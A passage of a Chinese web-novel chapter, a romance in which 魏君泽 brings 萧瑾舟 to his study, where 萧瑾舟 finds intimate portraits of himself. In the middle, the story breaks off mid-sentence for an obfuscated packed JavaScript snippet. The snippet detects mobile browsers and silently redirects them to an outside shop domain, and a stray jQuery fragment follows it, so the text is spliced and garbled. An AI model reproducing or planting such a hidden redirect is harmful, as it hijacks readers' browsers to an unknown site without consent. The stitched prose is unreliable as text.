“还盯着看呢,就这么喜欢?”魏君泽牵着萧瑾舟的手走过几个弯,慢步往卧竹苑而去。
萧瑾舟把玩着玉佩,眼角温和,“我原心想着魏夫人就算对我不冷不热,也是应该的,无论她如何责怪,如何冷待,我都受着便是,谁曾想夫人如此心慈宽厚,还反过来劝慰疏解我,甚至赠我如此贵重之物。”拇指细细划过鹤纹,白玉质润,触手细腻生温。
“沉甸甸的,我握着心里踏实。”
魏君泽将两人相握的手抬起,晃了晃,“握着那死物做什么?握着我岂不是更踏实?”
萧瑾舟勾着的唇又微扬了几分,即使相握的掌心闷热出了湿汗,也不曾放手分开,“本就是我的了,黏糊的小狗认了主,还想逃走不成……”
魏君泽爱死他这副略带傲气的模样,像只扬着下巴的矜娇狐儿,不管生气还是开心,都爱摇着他那绒长的大尾巴拍人,不疼,就是拍的人心痒……
“逃不走,我逃哪去?绳在你手里,你不放开,我哪都去不了,就算你放开了,我也会找着你,岁岁年年缠着你……”魏君泽抬起相握的手,吻了下萧瑾舟的手背,“生春,养了就要负责,好好养。”
游廊外的假山石被雨水刷的清亮,池塘里的荷叶儿飘曳摇晃,又密,又细的雨滴打在上头噗噗作响,千万条雨丝不留恋的从天而落,倾斜着冲入池中,惊起圈圈涟漪,那处没了,这处又有了,隔着水雾看着虚幻却又真实。
萧瑾舟长睫微敛,收回余光,紧握了握掌下温热的手,“好,我一定好好养。”
卧竹苑,魏清和魏廉正在书房里头聊天玩闹,说是玩闹实则是魏廉拉着魏清帮他负担几张课业。
魏廉咬着笔尾,坐得歪七扭八,“这课业也太多了,还好小清子你今日回来了,不然这些我得再写个三五天!”
魏清挺背端坐,下笔畅若行云流水,虽说为了模仿魏廉的字迹,某些地方微微写得虚浮了些,可大体总是赏心悦目,“这些好好写写两日便可写完,定是你前几日贪玩,浪费了时间。”一张写完拿起来抖了抖,吹了吹,待墨迹稍干放至一旁的纸叠上。
魏廉抓了抓脑袋,小声抱怨,“我就不爱学嘛,小清子我又不像你和白公子他们,出口成章,还有那什么通读四书五经的,我一读书我就发困,我,我,我还头疼脑胀,再多看一个字,多背一句话,脑袋都得炸了那种。”
说着挥起小拳头,义愤填膺,“我啊,就适合和干爹他们一起上阵杀敌去打边蛮子!当大英雄去!”
魏清瞧他可爱,咯咯笑他,抬手指了指自己的脸颊,“大英雄,先把自个儿脸上的墨擦擦吧,哈哈哈。”
魏廉手上本就沾着墨,这么抬手一抹,把脸抹的更黑了,逗得魏清笑不停,“哎呀,小清子别笑了,你快帮我擦擦,我看不着!”
“好,好……”魏清用手指抹了抹笑出来的泪,正想寻块干净帕子,抬眼一见魏廉委屈的花脸又没忍住笑弯了腰。
“笑什么呢?”魏君泽收伞,带着萧瑾舟入内。
魏清连忙平复,起身拱手作礼,“主子,侯爷。”双肩微抖,声音里还带着抑不住的闷笑。
魏廉左右两手抹了把脸,不好意思的低下头,含含糊糊,“主子,侯爷。”
魏君泽替萧瑾舟拍了拍衣摆的雨珠,回身一看,蹙眉歪头,“你脸怎么了,抬起头来?”
魏清抿嘴忍笑,用手臂杵了杵魏廉,小声,“主子叫你呢。”
魏廉努努嘴,心不甘,情不愿的慢拖拖把头抬了起来,抬手想要挠挠头,突然想到手上沾满了墨又破罐子破摔的往脸上挠了挠,“没啥,墨,墨沾脸上了。”话毕还委屈的看了眼萧瑾舟。
萧瑾舟不动声色的垂下眼,抬起衣袖掩住压不下的唇角,咳了咳。
魏廉自知害臊的往魏清后头挪了挪,魏君泽没忍住嘲笑,“哪来的小叫花子,讨饭讨到这来了,瞧着色怕是从煤矿里出来的,哈哈哈……”
话一出,在场的几人都没忍住笑出了声,萧瑾舟胸抖了下,微侧身锤了锤魏君泽的侧腰。
魏君泽咳了咳,对魏清道:“你们去别地玩吧,书房我这会儿要用……”说着将个小荷包扔到魏清怀中,“这几日的赏银。”
魏清含笑接过荷包,“多谢主子。”
魏君泽移目看着望了望魏清手里的荷包,又回头眼巴巴望着自己的魏廉,半笑半恼地把另一个荷包扔了过去,“哪次差着你了,拿去。”
魏廉兜手接过,瞧着脏手把好看的荷包弄脏了,微微有些不开心,不过掂了掂分量马上又笑开了眼,“多谢主子,哈哈哈。”
那口大白牙搭上两只乌溜圆的亮眼睛,镶在这张油黑的脸上实在可笑,魏君泽忍笑忍得眉心疼,挥挥手对魏清道:“快,快把他带出去,刷刷干净他这脸,别到了晚上出来吓人。”
魏清咬了咬唇,忍笑应是,“是,那主子,侯爷,属下告退了。”拉了拉拿着荷包傻乐的魏廉,“小廉子,别乐了,走了。”
魏廉“哦哦”回神,“哈哈,主子,侯爷,属下告退了。”
萧瑾舟颔首,“去吧。”瞧着两人奔似的走远,远远还能听到魏廉欢快的声音,“小清子!咱们去买糖栗子吃,隔壁街新开的,香哩很!快点快点!”
萧瑾舟转回身往桌案走去,拿起魏廉写的歪扭虚浮的字,微微摇头,魏君泽走近将下巴搁在他的肩上,“怎么样,看不下去了吧,这小子从不认真写,一张字能写两个时辰,幸好他爹娘尸骨不明,不然都得被这小子气得从地里爬出来。”
萧瑾舟将纸放下,又将魏清写的拿起来端看,“我早说了,你这般逼着他学,无用,他心就不在这处,人各有志,我瞧着他像是想跟着魏家军打仗去。”
魏君泽从后头环抱住萧瑾舟的腰,真细,魏君泽压着紧了紧,脸在萧瑾舟耳侧轻磨了磨,“常叔舍不得,战场上刀剑无眼,一失神就得要命,常叔自个儿是个粗人,就想让他多读几本书,多识几个字,往后攒了钱替他寻摸个清白人家的姑娘,好好过一辈子。”
萧瑾舟将纸放下,抬手抚上腰间手臂,“父母之心,皆如此。”
魏君泽道:“咱们往后也给兰时找个漂亮狗儿,生一窝大胖小崽子,也算儿孙满堂了。”
萧瑾舟笑着打趣,“若兰时和我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715636|202080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一样呢?”
魏君泽牙紧了紧,“那也没事,照样大办一场!咱儿子开心就好!”
萧瑾舟道:“你可真有本事。”
外头有小厮来话,“三公子,夫人让您过去一趟。”
“知道了。”魏君泽摸了摸萧瑾舟的肩侧,“我去趟娘那儿,你坐这等我,这书房没有什么秘密,你随意便好,爱玩什么玩什么,爱翻什么翻什么,嗯?”
萧瑾舟摸着桌沿坐到案几边,“知道,你去吧,我等你。”
待魏君泽走后,萧瑾舟呆坐了会儿,有些无聊,便撑着椅子起身,四处左右转看了起来,魏君泽的书房很是简约朴素,基本没有摆件,书架上只摆了些书籍,山水画卷,只一眼便能望清。
一阵风刮来,带了几滴雨落到萧瑾舟面上,顺着望去只见屋房一角有扇窗户未关,因有张长桌隔着,萧瑾舟需得微微倾身才能将窗户阖上,只是收手时手肘不小心将长桌上的檀木箱撞倒在地,里头的纸张也“哗啦”散落了出来。
“啊——”萧瑾舟暗恼自己不小心,蹲下身捡拾的手一滞,目光直盯着那一张张画作呆愣,“这是……”
这一张是眼尾眉角,似怒含嗔的双眼。
这一张是青丝未束,浮若青叶躺在雅室的床榻上。
这一张是身着红衣,扶手挽发……
这一张是面带薄红,眼角垂泪,唇舌微张,锁骨处画了一朵开的娇艳的海棠花,红痣成了花蕊……
……
萧瑾舟怔愣过后,浅浅勾起一丝玩味的笑,将这厚厚的一叠画作仔细翻看起来。
待魏君泽端着糕点回来时,萧瑾舟正坐在案几旁,撑着脑袋把玩着毛笔,“生春,我回来了,都是娘抓着我问了一圈你的喜好,今日做的都是你爱吃的!”
萧瑾舟依旧玩着毛笔,漫不经心回道:“是吗,夫人对我可真好。”
“是啊,娘……”魏君泽放下糕点,正想上前,猛得瞧见桌上那叠不可见人的画作,怔得哑了声。
“啪嗒——”
萧瑾舟松手,毛笔不轻不重的落到桌面上,魏君泽合上嘴,挪步上前,“你,看了?”
“都在摆这边了,自是看了啊——”萧瑾舟上下扫了魏君泽一眼,恶劣的眯眼,勾唇微笑,“时序,你画工不错,就是瞧着都眼熟得紧……”
说着萧瑾舟拿起那叠画作拍在魏君泽的胸口,拖着尾音道:“像我啊——”
魏君泽抬手拢住那叠烫手的画作,整个人像是被扒光了一般袒露在萧瑾舟面前,他瞧了瞧萧瑾舟的脸色,话卡在嗓子眼儿,不知把那个句话先放出来,犹豫几瞬,他把画放回桌面,轻手试探着握住萧瑾舟的手,见人没挣,暗下松了一丝气,“生春,你,不生气?”
萧瑾舟又把那几张画铺开看起来,转头好笑,“我生什么气?气你偷画我画像?气你对我早有心思?还是气你把情事也画下来了?”
魏君泽着急,抓住萧瑾舟的双手,怕人吓跑了,“我没让别人瞧见过,我就自己看,不是,我就是没来由地总想着就画下来,生春,我真不是什么奇怪的人,我敬着你,爱着你,你信我!”